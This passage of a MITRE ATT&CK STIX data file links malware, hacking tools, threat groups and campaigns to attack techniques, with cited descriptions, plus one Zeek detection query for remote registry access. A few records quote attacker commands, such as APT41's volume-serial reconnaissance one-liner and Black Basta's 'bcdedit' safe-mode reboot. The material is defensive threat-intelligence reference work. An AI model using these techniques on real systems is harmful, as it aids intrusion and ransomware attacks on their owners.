2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--118542b5-248a-475d-9eae-78efa872b399","created":"2024-07-25T20:44:06.153Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:44:06.153Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for identifying local users and administrators on victim machines.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1185f8f1-9fce-4dde-9f2b-67287ec61157","created":"2023-08-14T19:19:54.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:39:11.826Z","description":"Remote access to the registry can be achieved via\n\n- Windows API function RegConnectRegistry\n- command line via reg.exe\n- graphically via regedit.exe\n\nAll of these behaviors call into the Windows API, which uses the NamedPipe WINREG over SMB to handle the protocol information. This network can be decoded with wireshark or a similar sensor, and can also be detected by hooking the API function.\n\nAnalytic 1 - Remote Registry\n\nsource=\"*Zeek:*\" (dest_port=\"445\" AND proto_info.pipe=\"WINREG\") OR (proto_info.function=\"Create*\" OR proto_info.function=\"SetValue*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11870221-f730-4844-a441-ac1e8d21bc4b","type":"relationship","created":"2019-01-30T18:58:04.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."}],"modified":"2019-04-22T19:48:08.937Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can obtain a list of processes running on the system.(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11874e26-e692-43da-bb54-760e51a4714f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"},{"source_name":"Microsoft DTC","description":"Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.","url":"https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:37:11.467Z","description":"[S-Type](https://attack.mitre.org/software/S0085) may save itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--118b2047-826a-4ab0-94b8-69d35a4c8592","type":"relationship","created":"2021-04-22T15:09:14.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lastline DarkHotel Just In Time Decryption Nov 2015","url":"https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/","description":"Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021."}],"modified":"2021-04-22T15:09:14.852Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that repeatedly checks the mouse cursor position to determine if a real user is on the system.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--118c427e-fcd2-4464-a32a-a6edb0d6ead5","type":"relationship","created":"2022-03-25T17:02:12.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T17:02:12.057Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) has encoded bidirectional data communications between a target system and C2 server using Base64.(Citation: NTT Security Flagpro new December 2021) ","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--118c566e-2042-4566-99c2-308351d50a40","type":"relationship","created":"2020-12-29T19:07:21.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T19:07:21.930Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has obtained files from the victim's cloud storage instances.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--118cdbd1-12e5-4ac2-85a3-c574e7cfad91","created":"2023-01-03T20:31:04.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T16:01:04.075Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) issued `ping -n 1 ((cmd /c dir c:\\|findstr Number).split()[-1]+` commands to find the volume serial number of compromised systems.(Citation: Mandiant APT41)\n","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--118d9413-0b34-47e6-b333-b712e78dc404","type":"relationship","created":"2021-01-25T13:58:25.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-04-14T15:25:56.661Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can save collected data to disk, different file formats, and network shares.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--118e5be5-a143-4e2f-b80f-20b580f14210","type":"relationship","created":"2021-01-27T16:43:48.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-04-06T22:07:33.919Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links often crafted for specific targets.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11917102-46c9-4c12-964c-065ad6b2a14f","type":"relationship","created":"2021-01-14T20:08:49.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:08:49.593Z","description":"[BlackMould](https://attack.mitre.org/software/S0564) can enumerate local drives on a compromised host.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--119cfc44-4018-4ce0-b223-b0f353d1c113","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-02-18T03:40:29.805Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) collects files from the local system.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11a7431f-416f-48de-a3c0-8782abdede63","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}],"modified":"2020-03-16T15:59:20.515Z","description":"When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11ab0bc2-4baa-4d06-a001-2b59d3bc5567","created":"2022-09-27T16:18:19.899Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:18:19.899Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors spawned a new `cmd.exe` process to execute commands.(Citation: FoxIT Wocao December 2019) ","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11ab80ae-29e7-45a4-8d92-53493e2971c3","created":"2019-09-09T17:51:47.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.985Z","description":"[APT38](https://attack.mitre.org/groups/G0082) installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11abcf3d-3fe2-4b5e-8590-9509a881d877","type":"relationship","created":"2021-08-04T13:44:25.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.795Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can use RunDLL32 for execution.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.797Z","description":"[T9000](https://attack.mitre.org/software/S0098) searches removable storage devices for files with a pre-defined list of file extensions (e.g. * .doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11c19a8d-fd24-4c59-9a5f-4910f5471e71","created":"2022-06-14T15:35:39.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:09:59.529Z","description":"Variants of [Kevin](https://attack.mitre.org/software/S1020) can communicate over DNS through queries to the server for constructed domain names with embedded information.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11ca4266-5fca-4be4-9bce-275c655c66bd","type":"relationship","created":"2020-07-17T15:48:51.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.045Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can discover the password policies applied to the target system.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11cd38e9-397d-4bc9-a045-1401e5e9156e","created":"2023-03-08T21:18:22.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Avertium Black Basta June 2022","description":"Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.","url":"https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"},{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"},{"source_name":"Trend Micro Black Basta May 2022","description":"Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware’s Infection Routine. Retrieved March 7, 2023.","url":"https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T21:22:02.847Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can reboot victim machines in safe mode with networking via `bcdedit /set safeboot network`.(Citation: Minerva Labs Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: Trend Micro Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: Palo Alto Networks Black Basta August 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11d0f089-6dc7-4468-b186-e1a8b621051b","type":"relationship","created":"2020-03-19T23:37:02.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Deply Mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","url":"https://github.com/gentilkiwi/mimikatz"},{"source_name":"GitHub Mimikatz lsadump Module","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"},{"source_name":"Directory Services Internals DPAPI Backup Keys Oct 2015","description":"Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.","url":"https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.374Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the credential vault and DPAPI.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)(Citation: Cobalt Strike Manual 4.3 November 2020)\t","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11d37d18-3ad6-41ed-a99e-f1cc9d524c6c","type":"relationship","created":"2019-01-29T21:33:34.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.857Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) establishes a foothold by adding a link to the malware executable in the startup folder.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11d5cf7f-7b0c-49b3-b8d0-9906f440d2d0","type":"relationship","created":"2019-05-31T14:15:06.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.","url":"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation","source_name":"Dell Dridex Oct 2015"}],"modified":"2019-05-31T15:35:30.942Z","description":"[Dridex](https://attack.mitre.org/software/S0384) contains a module for VNC.(Citation: Dell Dridex Oct 2015)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--11e07a59-502c-44e9-9a70-03eff1433c33","created":"2022-04-15T14:02:03.777Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit 